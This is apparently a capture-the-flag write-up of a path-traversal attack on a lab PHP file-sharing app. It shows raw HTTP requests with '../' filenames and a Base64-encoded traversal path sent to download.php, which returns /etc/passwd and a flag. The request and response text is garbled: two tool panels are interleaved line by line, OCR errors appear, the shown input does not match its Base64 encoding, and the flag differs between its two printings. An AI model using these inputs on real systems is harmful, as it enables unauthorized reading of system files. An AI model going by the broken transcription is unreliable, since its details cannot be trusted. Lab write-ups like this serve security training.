https://github.com/ndanilo8/PositiveHackCamp2024

Description:

Read file /etc/passwd from web application file system

Attacking



we can try:

```
Request
                                                                                                                          Response
                                                                                                   & 🗐 \n ≡
                                                                                                                                      Raw
                                                                                                                                                                                                                                   In ≡
Pretty
                                                                                                                           Pretty
                                                                                                                                                  Hex
  POST / HTTP/1.1
Host: web.kljg5p1b6sdrv3d0zcp5.labs.cyber-ed.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
                                                                                                                           1 HTTP/1.1 200 OK
                                                                                                                           Date: Tue, 13 Aug 2024 12:00:25 GMT
Content-Type: text/html; charset=UTF-8
Content-Length: 2775
Accept:
                                                                                                                           5 Connection: keep-alive
   accept:
text/html, application/xhtml+xml, application/xml;q=0.9,image/avif,image/web
p,*/*;q=0.8
                                                                                                                              X-Powered-By: PHP/7.4.33
Vary: Accept-Encoding
   Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Content-Type: multipart/form-data;
                                                                                                                                 ~\link rel="stylesheet" href="
https://cdn.jsdelivr.net/npm/bootstrap@5.3.2/dist/css/bootstrap.min.css"
                                 -----63718474941232312554135921490
    boundary=----
   Content-Length: 241
Origin: http://web.kljg5p1b6sdrv3d0zcp5.labs.cyber-ed.space
DNT: 1
                                                                                                                                  <script>
function download(){
                                                                                                                                       fileID = document.getElementById("FileID").value;
x = new XMLHttpRequest();
x.open("POST", "/file_by_id.php",false);
x.send(fileID);
   Connection: keep.alive
Referer: http://web.kljg5plb6sdrv3d0zcp5.labs.cyber-ed.space/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
                                                                                                                                        fileName = x.responseText;
   ......63718474941232312554135921490
Content-Disposition: form-data; name="file"; filename="/../../etc/passwd"
                                                                                                                                       window.location = '/download.php?file='+btoa(fileName);
   Content-Type: application/octet-stream
                                                                                                                                  <nav class="navbar navbar-expand-lg bg-body-tertiary">
                                                                                                                                    <div class="container-fluid">
     <a class="navbar-brand" href="#">
     Fast Share
       dbutton class="navbar-toggler" type="button" data-bs-toggle="
collapse" data-bs-target="#navbarSupportedContent" aria-controls="
navbarSupportedContent" aria-expanded="false" aria-label="Toggle
```

but didnt work, after I tried to download it....

After I checked the source-code, and as we can see from the script it has is parsing the file= as btoa which is... Base64!

```
`<Snippet>`
function download(){
    fileID = document.getElementById("FileID").value;
```

```
x = new XMLHttpRequest();
x.open("POST","/file_by_id.php",false);
x.send(fileID);
fileName = x.responseText;
window.location = '/download.php?file='+btoa(fileName);
}
`<Snippet>`
```

thus converting the filename to base64 will just simply download the content of the file that we want, right?

Lets try:

```
Input

../../etc/passwd

Dutput 
Li4vLi4vLi4vZXRjL3Bhc3N3ZA==

../../etc/passwd
```

and now we can download it

Li4vLi4vLi4vZXRjL3Bhc3N3ZA==

```
Request
                                                                                                           Ø 🗐 /n ≡
 Pretty
             Raw
                                                                                                                                      Pretty
                                                                                                                                                   Raw
                                                                                                                                                               Hex
    GET /download.php?file=Li4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1
                                                                                                                                      1 HTTP/1.1 200 OK
                                                                                                                                         Date: Tue, 13 Aug 2024 12:03:03 GMT
   Host: web.kljg5p1b6sdrv3d0zcp5.labs.cyber-ed.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
                                                                                                                                          Content-Type: text/html; charset=UTF-8
                                                                                                                                         Content-Length: 961
Connection: keep-alive
    Firefox/115.0
  Accept: | text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/web
                                                                                                                                         X-Powered-By: PHP/7.4.33
Content-Disposition: attachment; filename="passwd"
    Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
                                                                                                                                      8 Vary: Accept-Encoding
                                                                                                                                    10 root:x:0:0:root:/root:/bin/bash
    Connection: keep-alive
Referer: http://web.kljg5p1b6sdrv3d0zcp5.labs.cyber-ed.space/
                                                                                                                                         daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
                                                                                                                                    12 bin:x:2:2:bin:/bin:/usr/sbin/nologin
   Upgrade-Insecure-Requests: 1
Sec-GPC: 1
                                                                                                                                    13 sys:x:3:3:sys:/dev:/usr/sbin/nologin
                                                                                                                                    14 sync:x:4:65534:sync:/bin:/bin/sync
                                                                                                                                   15 games:x:5:60:games:/usr/games:/usr/sbin/nologin
16 man:x:6:12:man:/var/cache/man:/usr/sbin/nologin
17 lp:x:7:7:lp:/var/spool/lpd:/usr/sbin/nologin
18 mail:x:8:8:mail:/var/mail:/usr/sbin/nologin
                                                                                                                                   news:x:9:9:news:/var/spool/news:/usr/sbin/nologin
uucp:x:10:10:uucp:/var/spool/uucp:/usr/sbin/nologin
proxy:x:13:13:proxy:/bin:/usr/sbin/nologin
                                                                                                                                   22 www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

23 backup:x:34:34:backup:/var/backups:/usr/sbin/nologin

24 list:x:38:38:Mailing List Manager:/var/list:/usr/sbin/nologi

25 irc:x:39:39:ircd:/run/ircd:/usr/sbin/nologin
                                                                                                                                   gnats:x:41:41:Gnats Bug-Reporting System
(admin):/var/lib/gnats:/usr/sbin/nologin
                                                                                                                                   27 nobody:x:65534:65534:nobody:/nonexistent:/usr/sbin/nologin

28 _apt:x:100:65534::/nonexistent:/usr/sbin/nologin

19 flag{0f06a4d1flec9eb899c4fc37c24a8423}
```

```
GET /download.php?file=Li4vLi4vLi4vZXRjL3Bhc3N3ZA== HTTP/1.1
Host: web.kljg5p1b6sdrv3d0zcp5.labs.cyber-ed.space
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:109.0) Gecko/20100101
Firefox/115.0
Accept:
text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,
*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
DNT: 1
Connection: keep-alive
Referer: http://web.kljg5p1b6sdrv3d0zcp5.labs.cyber-ed.space/
Upgrade-Insecure-Requests: 1
Sec-GPC: 1
```

and we get the flag

flag{0f06a4d1f1ec9eb899c4fc37c24a8423}